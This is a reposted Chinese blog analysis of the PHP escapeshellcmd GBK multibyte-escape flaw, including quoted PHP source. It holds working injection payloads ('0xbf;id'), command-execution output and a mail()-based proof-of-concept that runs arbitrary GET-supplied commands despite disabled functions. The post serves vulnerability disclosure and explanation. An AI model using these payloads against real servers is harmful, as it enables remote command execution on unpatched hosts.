php escapeshellcmd多位元組編碼漏洞解析及延伸

來源:互聯網
上載者:User
漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt

    PHP 5 <= 5.2.5
    PHP 4 <= 4.4.8

    一些允許如GBK,EUC-KR, SJIS等寬位元組字元集的系統都可能受此影響,影響還是非常大的,國內的虛擬機器主機應該是通殺的,在測試完這個漏洞之後,發現還是十分有意思的,以前也有過對這種型別安全漏洞的研究,於是就把相關的漏洞解釋和一些自己的想法都寫出來,也希望國內的一些有漏洞的平台能迅速做出響應,修補漏洞。
    這個漏洞出在php的用來轉義命令列字串的函數上,這些函數底層是用的php_escape_shell_cmd這個函數的,我們先來看看他的處理過程:

/* {{{ php_escape_shell_cmd
   Escape all chars that could possibly be used to
   break out of a shell command

   This function emalloc's a string and returns the pointer.
   Remember to efree it when done with it.
    
   *NOT* safe for binary strings
*/  
char *php_escape_shell_cmd(char *str) {
    register int x, y, l;
    char *cmd;
    char *p = NULL;

    l = strlen(str);
    cmd = safe_emalloc(2, l, 1);
    
    for (x = 0, y = 0; x < l; x++) {
        switch (str[x]) {
            case '"':
            case '\'':
#ifndef PHP_WIN32
                if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
                    /* noop */
                } else if (p && *p == str[x]) {
                    p = NULL;
                } else {
                    cmd[y++] = '\\';
                }
                cmd[y++] = str[x];
                break;
#endif
            case '#': /* This is character-set independent */
            case '&':
            case ';':
            case '`':
            case '|':
            case '*':
            case '?':
            case '~':
            case '<':
            case '>':
            case '^':
            case '(':
            case ')':
            case '[':
            case ']':
            case '{':
            case '}':
            case '$':
            case '\\':
            case '\x0A': /* excluding these two */
            case '\xFF':
#ifdef PHP_WIN32
            /* since Windows does not allow us to escape these chars, just remove them */
            case '%':
                cmd[y++] = ' ';
                break;
#endif
                cmd[y++] = '\\';
                /* fall-through */
            default:
                cmd[y++] = str[x];

        }
    }
    cmd[y] = '\0';
    return cmd;
}
/* }}} */

    可以看到,php通過將",',#,&,;.....等等在shell命令列裡有特殊意義的字元都通過在前面加上\變成\".\',\#,\&,\;......來進行轉義,使得使用者的輸入被過濾,來避免產生command injection漏洞。在php看來,只要過濾了這些字元,送入到system等函數中時,參數就會是安全的,php手冊中給出的利用例子如下:

<?php
$e = escapeshellcmd($userinput);

// here we don't care if $e has spaces
system("echo $e");
$f = escapeshellcmd($filename);

// and here we do, so we use quotes
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f"");
?>

    很明顯,如果沒有經過escapeshellcmd的處理,使用者輸入hello;id的話,最後system執行的會是:

echo hello;id

;在shell裡是分割命令的作用,這樣不僅僅會echo hello,還會執行id這個命令,導致命令注入漏洞。用escapeshellcmd處理之後命令變成:

echo hello\;id

這樣執行的命令就只會是echo,其他的都變成echo的參數,很安全。

    事實上是這樣嗎?php在處理完參數送入system之後它就什麼都不管了,後面的工作實際上都是由linux來完成的,那麼linux在處理這些參數的時候是怎麼樣的呢?linux在執行命令的時候會有一些的表示工作環境的環境變數,譬如PWD代表當前的工作環境,UID代表了你的身份,BASH代表命令直譯器等等......而在linux系統執行命令的時候,還有一個非常重要的參數,LANG,這個參數決定了linux shell如何處理你的輸入,這樣就可以當你輸入一些中文字元的時候,linux能認識他,不至於出現人與系統之間出現理解上的錯誤。預設情況下,linux的LANG是en_US.UTF-8,UTF-8是一個很安全的字元集,其系列中包含有對自身的校正,所以不會出現錯誤,會工作良好。一些系統支援多位元組字元集如GBK的時候,這也正是國內的多數情況,你可以設定LANG=zh_CN.GBK,這樣你的輸入都會被當作GBK編碼處理,而GBK是雙位元組的,合法的GBK編碼會被認為是一個字元。
    大家可以看到,在php的處理過程中,它是單位元組處理的,它只把輸入當作一個位元組流,而在linux設定了GBK字元集的時候,它的處理是雙位元組的,大家的理解很明顯地不一致。我們查下GBK的字元集範圍為8140-FEFE,首位元組在 81-FE 之間,尾位元組在 40-FE 之間,而一個非常重要的字元\的編碼為5c,在GBK的尾位元組範圍之內,這樣我們考慮一個特殊的輸入:

    0xbf;id
或    0xbf'id
    
經過php的escapeshellcmd單位元組轉碼之後將會是

    0xbf5c;id
    0xbf5c'id

注意0xbf5c是一個合法的GBK編碼,那麼在linux執行的時候,會認為輸入是

    [0xbfbc];id

很好,後面的id將會被執行。可以做個簡單的實驗,如下:

[loveshell@Loveshell tmp]$ echo 縗
>
?
[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GB2312
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK
[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GBK
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$

其中縗的編碼為0xbf5c,可以看到在不設定LANG為GBK的時候縗是一個非法的gb2312編碼,所以會被認為是兩個字元,所以其中含有的0x5c起作用,被認為命令沒結束。然後我們設定編碼為GBK,縗就會被認為是一個字元來echo了。
那我們如何來證明php的漏洞呢,拿

<?php
$e = escapeshellcmd($_GET[c]);
// here we don't care if $e has spaces
system("echo $e");
?>

作為例子,正常情況下上面的代碼工作很好,我們提交

exp.php?c=loveshell%bf;id

結果返回

loveshell?id

我們再來稍微改下上面的代碼

<?php
putenv("LANG=zh_CN.GBK");
$e = escapeshellcmd($_GET[c]);
// here we don't care if $e has spaces
system("echo $e");
?>

php的putenv函數用於修改php的運行時的環境變數,上面修改完LANG之後,再提交上面的參數就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功執行了,這裡需要自己設定環境變數,當然也可能某些機器已經設定了LANG為GBK,於是一些採用escapeshellcmd過濾輸入的就會出問題了。這裡本質是linux和php對參數的理解不一致,而php的mail函數在底層還是依靠系統來執行sendmail命令的,並且支援對sendmail命令加參數,不過參數被過濾了,但是利用這裡說到的問題,我們就可以在多位元組編碼機器上bypass過濾。
    mail函數一些程式碼片段如下:

......
    if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.");
        RETURN_FALSE;
    }

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",
                              &to, &to_len,
                              &subject, &subject_len,
                              &message, &message_len,
                              &headers, &headers_len,
                              &extra_cmd, &extra_cmd_len
                              ) == FAILURE) {
        return;
    }
......

    if (force_extra_parameters) {
        extra_cmd = estrdup(force_extra_parameters);
    } else if (extra_cmd) {
        extra_cmd = php_escape_shell_cmd(extra_cmd);
    }

    if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
        RETVAL_TRUE;
    } else {
        RETVAL_FALSE;
    }
.....

這裡如果不是安全模式就會允許第五個參數,第五個參數作為extra_cmd經過php_escape_shell_cmd過濾後作為第五個參數送入php_mail函數,在php_mail中片段如下:

......
    if (extra_cmd != NULL) {
        sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
        strcpy (sendmail_cmd, sendmail_path);
        strcat (sendmail_cmd, " ");
        strcat (sendmail_cmd, extra_cmd);
    } else {
        sendmail_cmd = sendmail_path;
    }

#ifdef PHP_WIN32
    sendmail = popen(sendmail_cmd, "wb");
#else
    /* Since popen() doesn't indicate if the internal fork() doesn't work
     * (e.g. the shell can't be executed) we explicitely set it to 0 to be
     * sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd, "w");
......

extra_cmd被附著在sendmail路徑後面作為參數了,這裡我們就可以利用這個漏洞來在一些禁止掉system等危險函數的環境下執行命令了,我寫的poc如下:

<?php
//php disable function bypass vul
//by Stefan Esser
//poc by Loveshell

putenv("LANG=zh_CN.GBK");
mail("loveshell@loveshell.net","","","","xxxx".chr(0xbf).";".$_GET[c]);
?>

可以在支援GBK的機器上運行,其他字元集應該也一樣,稍微修改下也就可以用。至於修補,我想還是儘快升級到新版,或者將mail函數拉入你的黑名單之列。
    這個漏洞的本質是在於處理資料的時候理解不一致造成的,稍微把以前的一些問題結合起來很容易發現這方面的影子。php與Mysql處理不一致導致注射,程式處理和瀏覽器處理html不一致導致xss,處理xml不一致導致xml注射....這裡又看到在linux shell處理上還有不一致的時候導致命令注射。可以預料,在perl等其他指令碼語言裡,涉及字元集處理的地方一樣會產生這樣的問題。字元集代表了系統是如何對待輸入的資料,字元集不一樣,系統得到的資訊就不一樣,在一些字元集中,只要\,',|這些特殊字元落在寬位元組第二個位元組範圍之中的時候就會導致問題,譬如

SJIS
[\x20-\x7e]|[\xa1-\xdf]|([\x81-\x9f]|[\xe0-\xef])([\x40-\x7e]|[\x80-\xfc])

\x40-\x7e就包括了\x5c,導致問題出現。我們在設計程式在處理與其他層面的程式或者協議打交道的時候就要考慮好這個因素,做好處理的一致,避免出現問題。再次向Stefan Esser致,Stefan Esser is my hero! :)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.